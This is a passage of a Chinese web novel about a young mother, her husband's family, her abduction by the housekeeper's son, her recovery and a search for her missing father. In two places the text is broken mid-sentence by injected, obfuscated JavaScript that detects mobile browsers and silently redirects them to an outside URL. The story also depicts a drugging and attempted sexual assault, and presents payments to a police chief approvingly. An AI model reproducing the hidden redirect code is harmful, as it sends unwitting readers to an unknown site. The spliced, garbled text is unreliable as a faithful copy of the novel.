~~李教授,想了想,觉得还是得说,“还有需要跟你交待的,她的子宫虽然被摘除了,但是还有其他腺体可以分泌腺液,所以同房之前做足前戏,是可以顺利完成的。我刚才检查发现她的手上,口腔,喉头都有过敏反应,嗯,那场手术,对她来说无异于鬼门关走了一趟,身体状况比她的实际年龄要差,这么激烈,她可能承受不了。最后就是,再累也要留一点体力,去清洁下,无论是什么化学成分,留在体内总是不好的。” 姜文清已经羞红了脸,低着头,像极了一个被训话的小学生。 下午晓枫就醒了,状态恢复了不少,两人去草坪散步。 “以后就不用那些了,也没有意外怀孕的问题,就直接~~。” “能行吗?” “怎么不行?我对你的那个东西又不过敏~~” 说着说着,还是有点不好意思的。 走了一会,他们坐下来,之前那个西装打扮的人又看到他们。 “这位太太,还没有去找失踪的故人吗?” 一听到“失踪”的字眼,晓枫紧接着问“是我爸爸吗?” “太太去找,就会有结果。这个东南亚的东西很脏,赶紧去吧。”然后又走了。 送晓枫回了病房,姜文清去办公室找周勇,他有点不好意思,毕竟刚才那场社死的审判,周勇就在旁边。 “周叔叔,跟你打听一个人。”姜文清想,还是直截了当比较好。 “什么人?” “刚才在草坪遇到的,男的,穿着西装,身材普通,说着奇奇怪怪的话。” “应该是某些患者请的出马仙。” “出马仙?是什么?” “科学的尽头就是玄学,有些病患会选择一边科学治疗,一边相信迷信。只要不和我们的用药治疗产生冲突,我们不会干预。出马仙跟萨满教有关,他们通过附体于有仙缘和悟性的人类,来与人交流并实现人类的愿望,以达到位列仙班的目的。” “可不可信?” “他跟你们说什么了?”“他说,晓枫身边有一个年长的女性贵人,往西走,可以帮她找到一个失踪的故人,然后需要找他拿一个跟她出生有关的东西,然后给他解,就可以解决晓枫的问题。” “你们相不相信?听起来,很多信息和晓枫的情况吻合。” “不确定。” “宁可信其有,不可信其无。为了晓枫的将来,值得一试。毕竟她的将来都和你息息相关。” “嗯,谢谢周叔叔。” 出院回家之后,生活还在继续。 秦姐兢兢业业连续工作了好几个月,一直没有休息,因为这一大家子人,生活起居,都需要照顾,确实挺忙的,好在姜文清和饶晓枫都是好相处的人,大家亲如一家。 2022年2月1日 “晓枫,这几个月,我一起有14天假期,这次,我不回老家了,我儿子想来玩,我就想陪陪他。我不会连续去14天,就是每天早上把家里的事情安顿了之后,我就下午陪他到处转转和吃饭。行不行?” “可以啊,秦姐,你把他来的交通信息告诉我,我到时候去接他,让文清给他安排住的地方。还不知道他叫什么名字。” “不用不用,晓枫,我们自己安排就行了。他叫谢林奇,今年28岁。” “28岁,还很年轻,应该到处玩玩。” 2022年2月6日 谢林奇来的这天,是饶晓枫开车去接的,给他安顿在了离家并不远的民宿,房费姜文清预付了半个月的。 秦姐很贴心,需要炖煮的菜,提前准备好,晚上热一热就行,一般晚上晓枫炒两个青菜就可以开饭了。 卢卡斯,奥斯卡,立欧放学回家就能吃上热乎的饭菜,嘟嘟和乔治已婴儿辅食为主,文清对于老婆做的饭菜更是赞不绝口,绝对的捧场王。 2022年2月19日 这天晚上,秦姐找晓枫聊谢林奇的事情,“林奇觉得这里挺好的,想留在这里。” “你们有什么打算呢?” “民宿姜先生付了半个月的费用,到时候,我们就自己出去租房。他试着找找工作。” “他会不会开车呢?” “会,会,会。” “秦姐,我明天问问四叔,看看他们运输那边,还有没有职位空缺,车队还是包住宿的。民宿,那边先不着急退,等这个事情落实了,再搬到车队宿舍,无缝衔接。如果不行,再想想其他方法。” “谢谢你,晓枫。谢谢!” “不用,秦姐。” 2022年2月22日 很快,谢林奇就被安排进了四叔管理的运输队,姜文清提醒四叔,不要太过信任,从基础开始做起。 四叔自然明白其中的道理,他们都是商场老手,早已没有了晓枫那般的单纯。 2022年3月23日 谢林奇入职一个月,收到了车队队长的2次书面警告,原因都是,他在送货途中,不知道将车开到哪里去偷懒,GPS信号都丢失了,严重影响全队的工作效率。 根据公司的人事流程,他被认定为无法胜任目前的岗位,要调岗再培训。 在四叔的授意下,将他调到仓库,做库管。 仓库全电子化管理,无死角监控,他无法搞任何小动作,只能在仓库固定的范围内引导出入库,登记也是电子化,无法手动作弊。 但是这种无聊的生活,压根不是他想要的。 2022年4月11日 又工作不到一个月的时间,他就自己提出辞职了。 这个消息,四叔知道,姜文清知道,秦姐知道,饶晓枫不知道。 秦姐还知道,谢林奇辞职之后,和一些乱七八糟的人混在一起,经常到木木山的一个废弃的屋子里面去搞违禁品,她曾经在那里找到昏睡了两天的谢林奇。 她希望儿子能回老家去,安安分分找份工作,不需要他赚多少钱,平平安安就好。 “我就是要赚大钱,如果我有钱,那个贱女人就不会跟有钱的老男人跑了。” “林奇,你不要再执迷不悟了。豆豆的离开跟钱没有关系,是你自己不争气。” “不用你管。” 2022年4月23日 这天,姜文清下班回到家,饶晓枫不在家里,问秦姐,秦姐说,中午的时候,晓枫开车出去买乔治和嘟嘟的纸尿裤和奶粉,应该晚饭之前回来。 文清给她打电话,电话是接通,但是无人接听的状态,他心里有隐隐的不安。 他分别给小七,家里,四叔车队打了电话,晓枫没有联系过任何人,也没有人知道她在哪里,文清的心揪了起来。 姜恒到晓枫可能去的商场查找视频录像,她买了纸尿裤,奶粉之后,将东西从购物车搬到后备箱,正准备上车的时候,有个年轻人跟她打招呼,好像是熟人,男人上了她的车的副驾,就开出了停车场。 因为没有报警,无法查找车辆沿途的视频,为了不声张,姜文清也赶到商场查看录像,他一眼就认出来,上了晓枫车的男人,就是秦姐的儿子,谢林奇。 姜文清给秦姐打去电话,让他联系他儿子,问问现在的位置,秦姐回电说,电话打不通,可能是没有信号的原因,“是出什么事了吗?” “没事。”事情没有弄清楚,大家都不敢说什么,最终的决定是报警。 一部分警察通过查看沿途视频,很快就找到了晓枫的车,停在了上木木山的路途中,然后派警犬搜索; 另一部分警察到晓枫家里把秦姐请到局里协助调查; 还有一部分警察监控谢林奇和饶晓枫的手机信号,谢林奇的手机信号完全丢失,饶晓枫的手机在车上。 在局里的秦姐,不知道发生了什么事,也说不出什么有效的信息。 见警察问不出什么,姜文清有点着急,“秦姐,晓枫现在可能有危险,她最后见到的人就是谢林奇,她的车被丢在了木木山,你知不知道他在哪里?木木山附近。” 秦姐想到了那个废弃的小屋,于是警察带着姜文清,秦姐一起出发往木木山去,几乎同时警犬也找到了那个废弃的小屋,破门而入,姜文清崩溃了。 晓枫双手被举过头顶反绑在身后的架子上,瘫坐在地上。头发被剪得无比凌乱,闭着双眼,嘴里嘟囔着什么,脸上尽是手掌印,面部红肿,两边嘴角都有血渗出。上衣被扒到手臂以下,露出了肩膀和内衣,肩膀上有滴蜡的痕迹,腿上地上尽是呕吐物… 文清跑过去给她解绑双手,然后脱下自己的外套就把她牢牢抱住。 那个挨千刀的谢林奇坐在一旁抽着烟,“欣赏”着这一切。 “叫救护车!”文清咬牙切齿,他想上去撕碎那个禽兽,他伤了他心尖尖上的人,但是此刻他只能抱着她,让她感受到自己的存在,无论如何不能离开一步,不能离开一秒。 小屋里只听到秦姐声嘶力竭的喊声,“你要干什么啊?”“你个畜牲。”“你是不是不想要我活了?”“我怎么养了你这么个东西。” 饶晓枫被送到周勇的医院抢救,此时在医院里的有姜恒和姜文清,周骁和周洋,姜家其他人在家里照顾孩子们。 看到遍体鳞伤的晓枫被推进抢救室,姜恒和周骁同时离开了医院。 “去警局?” “是的。” “不介意坐我的车吧。” “走吧。” 到了警局,姜恒找到了局长,表明了身份,然后掏出支票,写了个金额递给局长。 “两个要求,第一,这个事情保密。第二,候审期间也不要放过谢林奇,但不能死。” 周骁拿过支票看了一眼,也写了张支票,递给局长。 “跟他一样的要求。” 医院这边,正在全力救治。 插管洗胃,做了各种超声波检查,以检查内脏的受损程度。肩膀上的滴蜡做了烫伤处理,呕吐物送毒理科化验,身上的淤伤处理完之后,就推了出来。 晓枫仍是一副头发凌乱的状态,让姜文清看得心都碎了,他坐在床边,把头深深埋在他握着的晓枫的手上,背部一起一伏,像是他不安的心跳,不知道过了多久,他的心绪平复了下来的,她把晓枫的头发稍作整理,理顺之后,抬起她的头,将头发轻轻枕着。 脸上的红肿只能冰敷,肩膀上伤口涂了药油,手腕上有被绑造成的淤痕,他觉得胃里一阵阵翻涌,他向着垃圾桶不停干呕。 毒理检测第二天就出结果了—蓝精灵。 第二天,口供也整理得差不多。 谢林奇的女朋友几年前跟一个有钱的老头子跑了,他觉得全天下的女人都是物质的,贪财的,不要脸的。 虽然他前女友无数次说过,分手是因为三观不合,是因为他太懒。 他一直钻牛角尖,走不出对前女友的怨恨,毕竟把责任推给别人比从自己身上找原因简单容易得多。 这次到宁海市来玩,看到饶晓枫也是嫁给一个大自己十多岁的男人,勾起自己的伤心事,无名怒火烧到饶晓枫。 在他看到饶晓枫独自一人行动后,假装偶遇,就上了她的车,谎称自己要办事,让她开车送一程。 饶晓枫将车开到木木山之后,他拿出匕首威胁她下车,否则就让自己的妈妈在家里伤害她的孩子们。 饶晓枫只得跟着她往山里面走去,进废弃小屋之前, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033218|162346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他用木棍敲晕了他。 看着她的长相特别愤怒,就剪她的头发,扇她嘴巴子;还逼她喝加了蓝精灵的烈酒,喝了之后,脱她的衣服,滴蜡,想要继续侵犯的时候,饶晓枫开始呕吐,让他觉得脏,就停下来,坐到一旁抽烟。 案子以最快的速度审结,非法拘禁罪,有殴打侮辱情节,有期徒刑十年。 秦姐并不知情,不予追究。 虽然和产科没有关系,李教授还是来看了晓枫,帮她整理下已经剪短的头发,她告诉文清,晓枫可能也对酒精过敏,呕吐是一种保护,反而让她没有吸收到多少药物。 晓枫在洗胃麻药过后就醒了,醒了之后说的第一句话就是,“孩子,孩子。”文清抱着她安慰到,“孩子没事,孩子都没事。” 晓枫便不再说什么,只躺下闭着眼睛。 医生来查体,喊她,她也会睁开眼睛回应;打针换药,她也都配合,就是不再说话,任文清说什么都不回应。 醒了之后,又做了音叉测试和听力测试,提示左耳轻度听力损失。 “但是这应该跟她不说话没有关系,她可以听到医生要求她配合的动作,大概率是心理问题,这种创伤后应激反应,很常见,需要心理辅导,可能需要很长的过程。”周勇解释说,姜文清已经来跟他求助过很多次了。 来看望她的人,无论是谁,哪怕是孩子,她也不理会,但是等孩子们走后,她闭上眼睛,会默不作声流眼泪。 醒来之后的第三天,警察也来给她录了一份口供。 录口供的时候文清不在身边,但是当他看到警察记录的口供时,他还是忍不住哭了。 “他不停扇我的嘴巴,骂我是个贱人” “他脱我的衣服,我好怕,我就求他停手” “不知道什么东西在肩膀上,好疼” “我不知道他逼我喝的什么,像酒” “我不喝,他威胁说要伤害我的孩子们” “然后他就踢我的肚子”…… 晓枫会跟警察说话,为什么对家人,对自己装聋作哑。 2022年4月30日 住院七天,晓枫可以出院了,文清去办理一些手续,回到病房的时候,晓枫正在整理东西,“你别动了,我先去跟周叔叔说一声,回头我再来收拾。” 晓枫并没有停下手上的动作,一气呵成,拉上拉链,她就准备走。 文清上前抱住她,不知道她哪来那么大力气,把文清重重推开。 文清只夺下了收纳包,他坐在病床上,抱着收纳包。 哭着说,“我不知道说什么,如果早知道会发生这么多事,我就不去肃平找你,也许没有我的出现,你会更幸福。怪我,没有照顾好你,让你吃这么多苦。” 晓枫头也不回得走了,她没有回家,去了小七家。 她躺在床上,小七在床边理着她一头的短发,“小可怜虫,先睡吧,明天就会好了。” 第二天清晨的阳光透过窗帘的缝隙洒在床上,那原本洁白的枕头有几块明显的深色印记,像是昨夜被泪水浸泡过。 只有晓枫自己知道,黑暗中的她在床上想了多少遍她的文清,她的五个孩子们,无声地哭泣,泪水悄无声息地浸湿了枕头,只留下这几片潮湿见证她昨夜的悲伤。 “晓枫,晓枫。”小七敲开她的房门,给她送来一份早餐。 “先起来吃早餐吧,饿瘦了,我没法跟姜文清交待。” 听到爱人的名字,晓枫又想哭了。 “姜文清知道,你在我这里,他很担心,担心你要是爱上我了,他又多一个竞争对手。”小七总能从其他角度来逗晓枫,“这么大的事情,你没有经历过,他也没有经历过。如果有的选,他宁愿受伤的是自己。” 晓枫知道,文清就是这样的人,宁可自己承担一切。 “他越是这样,我越是不知道应该怎么办?我感觉自己就是一个灾星,遇到文枫,文枫走了。跟周洋不清不楚,害他没有拿到爷爷的遗产。文清就更惨了,三个不是他的孩子的担子他都扛下了,那些杂志写的文章~~小七,我生宁夏昏迷的时候,文清把资料文件都准备好了,他说,如果我有三长两短,他打算跟我一起走~~” “一切都好了啊。” “我以为那就是最大的坎,但这次,我,我觉得我实在太蠢了。” 当晓枫真意识到自己单纯得犯蠢的时候,小七反倒想安慰她,“你不是说过,文清就是喜欢你蠢吗?” 晓枫瞪大眼睛看着她,“小七,我好蠢,蠢得我自己都无法原谅自己。” “不怕不怕,都过去了。” “我怕,我怕我受伤,文清会心疼。我怕我有意外,文清他也~~我怕我的孩子们受伤害~~” 说完,她低下了头,小声抽泣。 “你心里只有姜文清,只有孩子,你自己的位置在哪里?” “我怕,我也怕,我怕被~~”,无论如何说不出那两个字,她嚎啕大哭起来,小七摸摸她的背,安慰着她。 “不怕,不怕。孩子们都没事,姜文清心疼你,担心你。你先吃早餐吧,吃完我送你回家。跟姜文清好好聊聊,逃避不行的。” 晓枫伸手去拿早餐的时候,她才发现视频通话一直开着,屏幕上的人,就是文清。 她又惊讶又惊喜得看着小七,“你等一会。” 说着小七就走出卧室,走到客厅,打开房门,让进来一个人,自己就出门去了。 小七住的就是一个一室一厅,穿过客厅就是卧室,当文清走进卧室的时候,晓枫低着头,不敢看他,她昨天不该那样跑掉,又让他担心。 “你先吃早餐吧,饿了吧?”文清总是最先关注他家小馋猫的肚子,“尝尝小七做的早餐,有没有我做的好吃。” “你吃过早餐吗?”晓枫终于肯开口说话了。 “我已经吃过了。”一如从前温和的语气,温柔的眼神,他坐在床边,摸着晓枫的短发,心想短发又飒又性感,像一只小猫,又野又乖。 吃完早餐,他们把房间简单收拾了一下,就回家了。 孩子们已经被爷爷奶奶接回家了,家里很安静,两个人想好好聊聊。 “刚才视频通话的内容,我都听到了。” “嗯。” “是我没有保护好你,把你置于那么危险的境地,让你受伤,是我的错。” “这些事情,我应该跟你商量下,不应该擅自做主,我太容易相信别人了。” “这是意外,谁也想不到的。” “我昨天也不应该跑掉,又让你担心。” “还好我知道你会去找小七。跟我回家,我要好好看着你,不让你离开我的视线范围。” “老公,回家之前,我想问你一些事情。” “你想知道的,我都告诉你。但是你要答应我三件事情。” “你先说说看。” “第一,我陪你去做心理治疗,这个很重要。第二,我的事情,是工作上的事情,即使你知道了,最终的解决决策权还在我,你不用担心,我可以hold得住。第三,关于找你爸爸的事情,不管多麻烦,也要去做。” “我都答应你。决策权在你,但是如果只是钱的事情,我可以出钱。” “好的,我的小富婆。”文清心想,先给你一点小小的震撼吧。 “在陪你和文枫去美国的那段时间~~,还有去肃平姜家湾得两年时间~~这属于我个人行为~~回来之后~~还有一年时间~~” “我明白了,现在,你们估计的赔偿金额是多少?” “你想知道?” “嗯,我要知道。” “13.2个亿。”从晓枫脸上闪过一瞬的不可置信,但是她很快冷静下来,文清就曾经嘲笑过她,没见过世面。 她战术性咳嗽两声,可能刚才牛皮吹得有点大,她对于自己有多少钱,也是没什么概念的。 文清低头一笑,“你还笑。” “知道你就会是这个反应。” 12.我更幸福,他很好 2022年5月1日 “刘医,” “饶晓枫,在想什么?” “我在想是不是应该叫您医生。” “你不是病患。” “刘叔叔,下午好!” “饶晓枫,下午好!周叔叔让你来跟我聊聊天,你想聊什么?” “能聊什么?” “想聊什么都可以。” “电影可以吗?” “当然可以。” “昨天跟我老公一起去看了电影《神奇动物》”说完,饶晓枫就低头笑起来。 “好像不是喜剧吧,你笑什么?” “我想到了裘德洛,他好帅。” 刘奕煦也跟着笑起来,“你老公也很帅,你爱上他是因为他的颜值吗?” “嗯?” “这个问题很难回答吗?” “没有想过,好像这种感情一直在心里,不知道什么时候就萌发了,然后一发不可收拾。” 刘奕煦身体略向前倾,饶晓枫想了想,又继续说:“我的三段感情,好像都是无缝连接,似乎都没有情感空窗期。我是不是一个感情不专的人?” “从积极的方面说,你可能对爱情有较高的需求和渴望。你能够在一段感情结束后迅速地将情感转移到新的对象身上,是因为你不会被过去的情感所束缚。你能够快速地适应感情的变化和结束,不会因为感情的失败而陷入长时间的痛苦和抑郁之中,说明你心理承受能力强。” “刘叔叔,您说话真好听。” 过了两天,饶晓枫去染了一头红发,她那一头短红发,如同燃烧的火焰,俏皮地在她的脸颊旁跳跃。不那么精致的脸庞上,却有一双勾魂摄魄的眼眸,像是藏着无尽的神秘故事。她那微翘的红唇,带着一抹若有若无的笑意,透着致命的性感,着实抓得文清心痒痒。 “饶晓枫,你换了发色,挺适合你的。” “我很喜欢红色。以前一直是长头发,这次剪了短发才敢尝试红色。” “是什么让你下定决心剪短头发呢?” 晓枫脸上的笑容,一瞬消失了,“是不得不剪了。” “愿意跟我聊聊吗?” “周叔叔应该跟您说过。” “嗯,我还是想听你说说。” 晓枫眼睛里的光芒有点暗淡,但她并没有退缩,讲述了那天的事情。 “可怕的不光是身体上的伤害,还有,怎么说呢?秦姐人很好,是我很信任的人,她帮我带寻觅,还有宁夏,我们像家人一样。所以,我把她的儿子,当成自己的家人,没有想到……” “这是一种信赖的崩塌吧?” “就是这种感觉,信任被辜负了,很受伤。我后来也看过口供,他也挺不容易的,他这样,秦姐肯定特别伤心。” “你跟秦姐还有联系吗?” “我跟她打过一次电话,她只哭着跟我道歉,我也不知道该说什么。” “如果再来一次,你会怎么做?” “我想我还是会帮他找工作,哎呀,我好蠢。” “这不是你的问题,是意外,陷入自我否定会让你更痛苦。” 心理治疗还在继续, “饶晓枫,你今天看起来很开心。” “嗯,我老公马上过生日了,还有宁夏一岁的生日,是同一天。” “这么幸福!有什么安排呢?” “我在策划,想搞一个露营生日会。” “你一个人策划吗?” “嗯,如果我把我的想法告诉我老公,他肯定接手过去,自己全程安排,就成了孩子们的生日会。但是,我还想给他一个惊喜。” “你老公很幸福。” “我更幸福,他很好。” “跟你聊了这么久,最长听你说的就是,你老公很好,爸爸妈妈很好,小七很好,周洋哥很好,秦姐很好…就连谢林奇你都能共情他,觉得他不容易。” 晓枫歪头思考,“这样不正常吧?小七就说我,觉得这个世界没有坏人,太容易相信人。” “你眼里的你不是真实的你,别人眼里的你也不是真实的你,只有你眼里的别人才是真实的你自己。” 晓枫陷入沉思,她想起了小七说的,“是你好,晓枫,这些你值得拥有。” 姜文清有时间就陪饶晓枫做心理治疗,经过四周的话聊,心理咨询师的精神明显好了很多,“周勇,你丫头这个状态挺有意思,她如果不是心理太正常就是演技太好,我看不出来,她有创伤后应激障碍。” “那这会不会是一种外向快乐型的抑郁表现?” “大概率不会,我跟她先生也聊过,他也没有察觉异样,夫妻生活各方面都和之前无异。” “那她就是这样一个没心没肺的人?!” “嗯,应该说,她感受爱的能力很强。她不惧怕伤害,聊到让她难受的话题,她会表达,她会哭。所以这种开放的状态,让她感受爱的能力很强。” “所以还是爱可以战胜一切。” “是这样理解,她也不用再来做心理治疗,但是如果她愿意跟我这个老人家聊天,我很乐意。” 2022年6月6日 姜文清41岁生日,乔治和嘟嘟一岁生日一起庆祝。 露营回来,一家人才坐下来,准备去意大利的事情。 经过这么长时间的整理,晓枫身边年长的女性,只会是姜婉,姜婉能想到往西走的地方,就是意大利。 她曾带着文清在那里生活了10年。当时他们住在法拉利叔叔那里,姜婉会教舞蹈,还帮忙法拉利叔叔家的房客整理房间。 因为孩子们还需要人照顾,所以爸爸妈妈陪晓枫出行,其他人家里留守。 经过15个小时的飞行,他们来到了佛罗伦萨,转车来到法拉利叔叔家里时,这个精神矍铄的60多岁的老人,立马认出了故人,哪怕不知道他们的来意,也邀请他们在自己家里住下,慢慢聊。 “我今天不出去了,我这里来了非常重要的客人,你如果想喝酒,到我这里来吧。”法拉利叔叔接完电话,就和他们聊开,姜婉也顾不上舟车劳顿。 法拉利叔叔是个很好相处的人,问了问文清的状态,只表示很遗憾,他没有一同前往,很想看看他现在的样子。 “这是文清的老婆,晓枫。我们来这里,是要找她的父亲。是出马仙给我们的信息,往西走,可以找到。” 法拉利双手做出停止的手势,“你们中国的神仙系统太复杂,我不懂,但是我有个中国的老朋友,也许能帮到你们。他一会会过来喝酒。到时候你们聊。” 姜恒和姜婉去简单的安置了下行李,晓枫则继续和法拉利聊天,因为这个姓她实在喜欢,她给法拉利叔叔看了文清的照片,“他从小就是个懂事的孩子,很少让他妈妈操心。” “嗯,他很好。他现在工作很忙,以后有机会一定来看您。” “谢谢你们还惦记着我,没想到文清现在孩子都这么大了,时间一晃30年。” 法拉利叔叔笑了笑,“我们都老了。” 伴随他爽朗的笑声,有一个人推门进屋,“笑什么,这么开心?” 来人看了一眼,“晓枫?!” 晓枫愣住了,这是个有着亚洲面孔,50多岁,个子不高,面善的中年男人。 来人又问了一句,“饶晓枫!” “您认识我?”晓枫很诧异,法拉利叔叔也很诧异。 “我是爸爸,你跟小时候,没有什么变化,除了头发的颜色。” “爸爸!”晓枫不可置信得重复了下这个称呼,才7岁,她就被告知爸爸失踪了,20多年过去,爸爸的长相已经模糊了。 法拉利叔叔,和正下楼的姜恒姜婉都愣住了,这个事情就是这样解决吗? 太不可思议了。 饶海怡从钱包里面拿出一张照片,是一家三口,晓枫分明认识照片中的自己的妈妈,她还是不敢相信,这一切来得太突然,她捂着嘴,不想哭,只想冷静下来。 “你当时为什么会离开我和妈妈?”饶海怡知道这是必答题,但是他确实没有做好准备。 法拉利叔叔解围说,“你们来,不就是为了找他吗?先把正事解决。” 姜恒姜婉说明了来意,此时晓枫还是拿着照片和面前的这个人进行比对。 “出生时候的东西,应该是一块黄色的布吧。怎么说呢,希望你们不要介意。我是一个同性恋,当年的社会环境容不下我们这样的人,所以我和我的爱人都分别成家,生下晓枫的时候,我很怕她会像我一样,所以去泰国请了个神,用一块黄布记下她的生辰八字,系上她的一缕头发,希望保佑她被男人爱,也爱男人,过正常的生活。” “那块布,还找得到吗?” “在我家里,是我走的时候,带走的为数不多的东西。你们需要吗?” “是的,出马仙说是个脏东西,影响晓枫的生活,所以她才会吃这么多的苦。” 姜婉语带哭腔。“我们要带回去,给出马仙去解除这个。” “没问题,我回去拿,你们先休息,我明早送过来。” 忙碌如姜家人认为的早晨是早晨7-8点,闲散如意大利人的早晨是接近brunch的12点。 晓枫看到法拉利叔叔停在院子里的杜卡迪摩托车,手痒,等着也心急,就跟法拉利叔叔拿了钥匙,法拉利看到她有公证过的驾照翻译文件,就允许她开车出门了。 那边出门的饶海怡骑着他的摩托古兹,赶往法拉利家,路程过半,他看到了那个熟悉的车和车牌,追上前想逼停摩托车。 饶海怡赶上时,一眼看到了头盔里面火红的头发,就一路你追我赶,往法拉利家里去了。原来父亲的车技这么好,这就是遗传,这就是天赋的来源吧。 他们一起出现在法拉利家的时候,把姜婉担心坏了。 “妈妈,我没事。看到摩托车就手痒,这个车操控性太棒了。爸爸也会骑摩托车。” 她转向饶海怡,“那个车是摩托古兹吧?发动机的声音太好听了。” “是的,V85TT。” “双缸发动机?难怪声音那么棒!太酷了,我好想试试。” “好,有机会试试。” 姜恒打断这父女俩的对话,“饶先生,东西带来了吗?” “嗯”说着他从机车夹克口袋里拿出一个密封袋,里面就是一块黄布。 他小心翼翼打开包装袋,摊开黄布,上面写有晓枫生辰八字壬申年、辛亥月、乙巳日、壬午时,还有一缕干燥的发丝。 “这块黄布和这张照片,是我走的时候带走的。如果你们需要都可以带回去,只要对晓枫好。” “这块黄布就好,是要她出生相关的东西,”姜恒边说着就把黄布叠好放回密封袋,装进自己的口袋。 “很感谢你,饶先生!”姜恒向饶海怡表达了谢意,然后转向晓枫,“晓枫,你有什么打算?” 饶海怡先搭话了,“不用客气,是我应该做的。晓枫,我们聊聊,好不好?” 嗯嗯,晓枫点头如小鸡啄米,这正是她想要做的事情。 “爸爸,你跟我们一起回去吧?” “不了,你的公公婆婆看起来都是有头有脸的人,我回去会跟你们添很多麻烦的。我现在很好。” 晓枫有点失望。 “晓枫,你不用担心我。他们把你照顾得很好,爸爸很放心。” “嗯,爸爸妈妈和文清都很好。”她拿出手机,给饶海怡看了很多照片,情况有点复杂,她觉得一时也说不清楚,“爸爸,我和文清,有5个孩子……” 说起她的文清,她的孩子们,脸上尽是幸福。 “晓枫,看你这么幸福,爸爸真的很放心。但是有一句话,爸爸想说。刚才跟你一起骑车,你的胜负心太重,为了甩掉我,最后一秒冲出马路,很危险。对你,对路上的人来说,都太危险。摩托车如果是个爱好很好,如果只是你发泄情绪的工具,就糟蹋了你的天赋。” 晓枫想到了四叔曾跟她说过一模一样的话,听懂似的点点头。 “爸爸,我想问问,你和妈妈为什么会生下我?” “爸爸其实是也喜欢女人。我有自己的恋人,但是他选择了商业联姻。我爱的人需要的东西,我给不了,所以我没有再等待,选择了结婚。我和你妈妈是同学,她很善良,我们生下你的时候是有爱的。我离开不是不爱,也不是厌倦,而是因为我的工作。我没有稳定体面的工作,凭着一点开车的技能,做着违法乱纪的事情,我怕拖累你们母女俩才走的。当时,我能留下的钱,全部留下了,希望她一个人带着你不要太辛苦。” “印象中,你走之后,妈妈很少笑,很少讲话。她一个人带着我,还要工作,我想她应该很辛苦,但是她从来没有跟我抱怨过。” “她还好吗?” “09年的时候车祸去世了。” “那你过得很艰难吧?” “有周洋哥一家人照顾,没那么糟糕。” “周洋哥?你还这么喊他?” “嗯,几十年了,改不了口。” “你们从小一起长大,周洋从小就说要照顾你一辈子,爸爸以为你们会走到最后。” “爸爸,周洋哥很好,特别是妈妈去世后,他一直很照顾我,我们谈过一年多的恋爱。” “嗯,天命各有安排,晓枫,把现在的生活经营好,爱你爱的人,就很好。” “爸爸,我懂!我会珍惜的。你也是,一定要好好的。” 父女俩抱头痛哭,“文清等着我们,我们就尽快回去,如果你想回来随时回来,就住我们家里,你一定会喜欢文清的,还有5个孙子。” “好的好的!”饶海怡也跟姜恒姜婉鞠躬致谢,姜恒姜婉鞠躬回应,“我们会照顾好晓枫的。” “谢谢你们!” 2022年6月15日 又一路逆风飞行,他们到家了,文清去机场接机的时候,晓枫像没脚没腿似的,缠在文清身上。 还是四叔预判准确,和文清同行,开了一辆七人座的车来接机。回去的路上,四叔开车,小两口坐在最后排,一路腻腻歪歪,没完没了。 文清将东西交给出马仙,并约定两天之后再将东西归还,就可以解决一切问题。 两天之后,文清再次来到医院的时候,出马仙将黄布归还给了文清,并跟他解释了,这个事情。 “你太太的父亲,应该是在东南亚请的人做的符,做符的人请到的是一只狐仙。一群狐仙因为庙宇被拆,准备搬迁,这只小狐仙走丢了,正巧被请上身了。所以你太太才会是那种气质,眼神中透露着摄人心魄的能力,周旋与男人间。现在一切都解决了,你们都可以正常生活了。” 2022年7月20日 一切似乎都没有正常,更偏离轨道了。 除了刚回国那天,两个人的彻夜缠绵,再无其他身体接触,对于晓枫的主动示意,文清不是很累,就是很困。 文清在客厅,竖着耳朵听晓枫和孩子们在院子里的谈话。 “妈妈,”说话的是奥斯卡,“集训第一天,跑步的时候,我们就跟着和我们差不多高的几个人跑,前后脚就到了。教练才跟我们说,那几个是高年级的,我们不光身高跟他们差不多,跑步的能力也和他们不相上下。” “你们这么棒。现在有多高了?” “妈妈,我们都快1米4了。”答话的是卢卡斯。 “7岁半, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034387|162346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 1米4,好像是挺高的,爸爸长得高,你们会像他一样又高又帅。” “现在,我们就可以跟高年级的一起训练,单对单,单论技术,我们还有胜算。但是,我们在身材上还差了一些。” “不用着急,教练会针对你们的情况进行训练的,提升技术,也把块头练好,毕竟篮球场上的冲撞还是很激烈的。你们也要量力而行,保护好自己,别受伤了。” “知道,集训结束之后,可以休息一个月,爸爸妈妈有什么计划,我们想出去玩。” 立欧插话了,“妈妈,还有我,游泳训练,爸爸能陪我去吗?” “我要问问爸爸,他最近很忙。” “那周洋爸爸陪我去,行不行?” “妈妈先问问爸爸。” “那我要两个爸爸陪我去。” “不急。”暑假这个跟水有关的夏令营,除了玩水,还有十天的游泳教学,她不确定文清能不能全程陪同,她有点为难。 乔治和嘟嘟,一岁之后,他们每天都会去育儿院,朝九晚五,双休,但没有寒暑假。 晚餐在餐桌上,对于晓枫夹给他的菜,文清虽然吃了,但是只丢下一句,“你自己吃,不用管我。”态度极冷。 囫囵吞枣对付完,他起身就准备离开餐桌,晓枫才找到机会问他,“老公,立欧暑假的夏令营,上次跟你说过了,你能陪他去吗?” 小两口的问题,家里人都看在眼里,这个问题就像平静湖面被投入了一颗炸弹,众人都等着那一声响。 “我抽不出时间。”立欧立马响应,“那周洋爸爸去。” 